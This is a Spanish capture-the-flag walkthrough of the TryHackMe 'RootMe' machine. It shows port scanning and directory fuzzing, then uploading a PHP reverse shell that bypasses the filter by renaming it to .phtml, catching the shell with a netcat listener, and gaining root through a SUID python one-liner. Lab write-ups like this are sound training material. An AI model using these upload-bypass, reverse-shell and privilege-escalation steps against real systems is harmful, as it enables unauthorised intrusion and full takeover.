RootMe
December 11, 20225 minutes
Un ctf para principiantes, me puedes rootear?
https://tryhackme.com/room/rrootme
IP Atacante = 10.10.10.10
IP víctima = 10.10.108.243
Reconocimiento
Para empezar lo primero es comprobar si la máquina está activa y que OS tiene
❯ ping -c 1 10.10.108.243
PING 10.10.108.243 (10.10.108.243) 56(84) bytes of data.
64 bytes from 10.10.108.243: icmp_seq=1 ttl=63 time=77.9 ms
--- 10.10.108.243 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 77.935/77.935/77.935/0.000 ms
En este caso da un ttl (time to live) de 63, entendiendo que ttl=64: Linux / ttl=128: Windows. Esta máquina es Linux por aproximación
Escaneo de puertos (nmap)
Ahora empezamos con un escaneo de puertos
nmap -p- --open -sS --min-rate 5000 -n -vvv -Pn 10.10.108.243 -oG allPort
Parámetro | Función |
---|---|
-p- | Para que el escaneo sea a todos los puertos (65536) |
–open | Para que solo reporte los puertos abiertos |
-sS –min-rate 5000 | Definir el tiempo del escaneo |
-n | Omitir resolución DNS |
-vvv | Para que vaya reportando lo que encuentre por consola |
-Pn | Skip host discovery |
-oG allPorts | Para que guarde el escaneo en format grepeable en un archivo llamado allPort |
Con una función definida en la zshrc llamada extractPorts, nos reporta los puertos abiertos de una forma más visual
Función extractPorts de @s4vitar
❯ extractPorts allPort
───────┬────────────────────────────────────────────────────────
│ File: extractPorts.tmp
───────┼────────────────────────────────────────────────────────
1 │
2 │ [*] Extracting information...
3 │
4 │ [*] IP Address: 10.10.108.243
5 │ [*] Open ports: 22,80
6 │
7 │ [*] Ports copied to clipboard
8 │
───────┴────────────────────────────────────────────────────────
Ahora con nmap vamos a intentar buscar las versiones de los servicios de los puertos y ejecutar scripts básicos de reconocimientos
❯ nmap -p22,80 -sC -sV 10.10.108.243 -oN target
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 4ab916884c25448ba5cfd3f2252214 (RSA)
| 256 a9a686e8ec963f003cd16d54973082 (ECDSA)
|_ 256 22f6b5a654d9787c26035a953f9dfcd (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: HackIT - Home
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
Web
Con el whateb podemos ver info sobre a web
❯ whatweb 10.10.108.243
http://10.10.108.243 [200 OK] Apache[2.4.29], Cookies[PHPSESSID], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.29 (Ubuntu)], IP[10.10.108.243], Script, Title[HackIT - Home]
Al entrar a la web solo se ve texto
Buscando subdirectorios (wfuzz)
Para ver si hay subdirectorios vamos a usar la herramienta wfuzz para fusear mediante un diccionario que está en /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
con el siguiente comando:
wfuzz -c -t 200 --hc=404 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://10.10.108.243/FUZZ
Parámetro | Función |
---|---|
-c | Para que lo reporte todo con colores |
-t | Para configurar el tiempo |
–hc=404 | Para que no nos reporte los subdirectorios que no existan |
-w | Es donde se indica el diccionario |
FUZZ | Se escribe donde quieres aplicar el diccionario |
El wfuzz nos reporta lo siguiente
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000550: 301 9 L 28 W 312 Ch "css"
000000953: 301 9 L 28 W 311 Ch "js"
000005520: 301 9 L 28 W 314 Ch "panel"
000000164: 301 9 L 28 W 316 Ch "uploads"
000095524: 403 9 L 28 W 278 Ch "server-status"
Al entrar al /panel se ve un sitio para subir archivos
Probamos con subir una foto random, y vemos que aparece en el /uploads
Vulnerabilidad web
Viendo esto vamos a intentar subir un archivo .php para crear una reverse shell, este archivo es de pentestmonkey https://github.com/pentestmonkey/php-reverse-shell
Primero lo pasamos a nuestra máquina
git clone https://github.com/pentestmonkey/php-reverse-shell
Después nos ponemos en escucha por el puerto 443
nc -nlvp 443
Y ahora lo subimos el archivo a /panel
¡Error!
No acepta archivos php, Los administradores pueden hacer una lista negra de extensiones de archivos específicas y evitar que los usuarios carguen archivos con extensiones que se consideran peligrosas. Esto se puede omitir mediante el uso de extensiones alternativas o incluso no relacionadas.
Ejemplo extensiones php —> .phtml, .php3, .php4, .php5
Vamos a probar con la primera (.phtml), le cambiamos el nombre al archivo, de php-reverse-shell.php
a php-reverse-shell.phtml
Ahora ya le gusta
Desde /uploads le damos al archivo que hemos subido y recibimos una conexión
❯ nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.10.10] from (UNKNOWN) [10.10.108.243] 37418
Linux rootme 4.15.0-112-generic #113-Ubuntu SMP Thu Jul 9 23:41:39 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
13:52:50 up 48 min, 0 users, load average: 0.00, 0.00, 0.05
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$
Tratamiento de tty
Antes para trabajar mejor vamos a hacer un tratamiento de la terminal con los siguientes comandos:
script /dev/null -c bash
ctrl + z
stty raw -echo; fg
reset
xterm
export SHELL=bash
export TERM=xterm
Flags
En /var/www
esta la primera flag user.txt
La flag de root está en el /root, pero no tenemos permisos para acceder, Con el comando history, se pueden ver dos comandos interesantes…
10 find / -perm /4000
11 python -c 'import os; os.execl("/bin/sh", "sh", "-p")'
El comando find / -perm /4000
lo que hace es buscar todos los programas con permiso SUID, en este caso python tiene permiso SUID
¿Qué es el permiso SUID?
Hay veces que es necesario que un programa se ejecute con los privilegios de su propietario en lugar de con los privilegios del usuario que lo ejecuta. Un ejemplo es el comando passwd, el cual necesita tener privilegios de root, ya que tiene que acceder a los ficheros /etc/passwd o /etc/shadow en modo escritura. Estos programas constituyen un peligro potencial en un sistema, ya que si se hace un mal uso de ellos y el propietario tiene privilegios, root, el que lo ejecuta podrá hacer en el sistema todo lo que el propietario del programa tenga permitido.
El comando python -c 'import os; os.execl("/bin/sh", "sh", "-p")'
lo que hace es spawnear una bash y como python se ejecuta como root, la bash que spawnea es como root
Ahora ya podemos ver la flag con cat /root/root.txt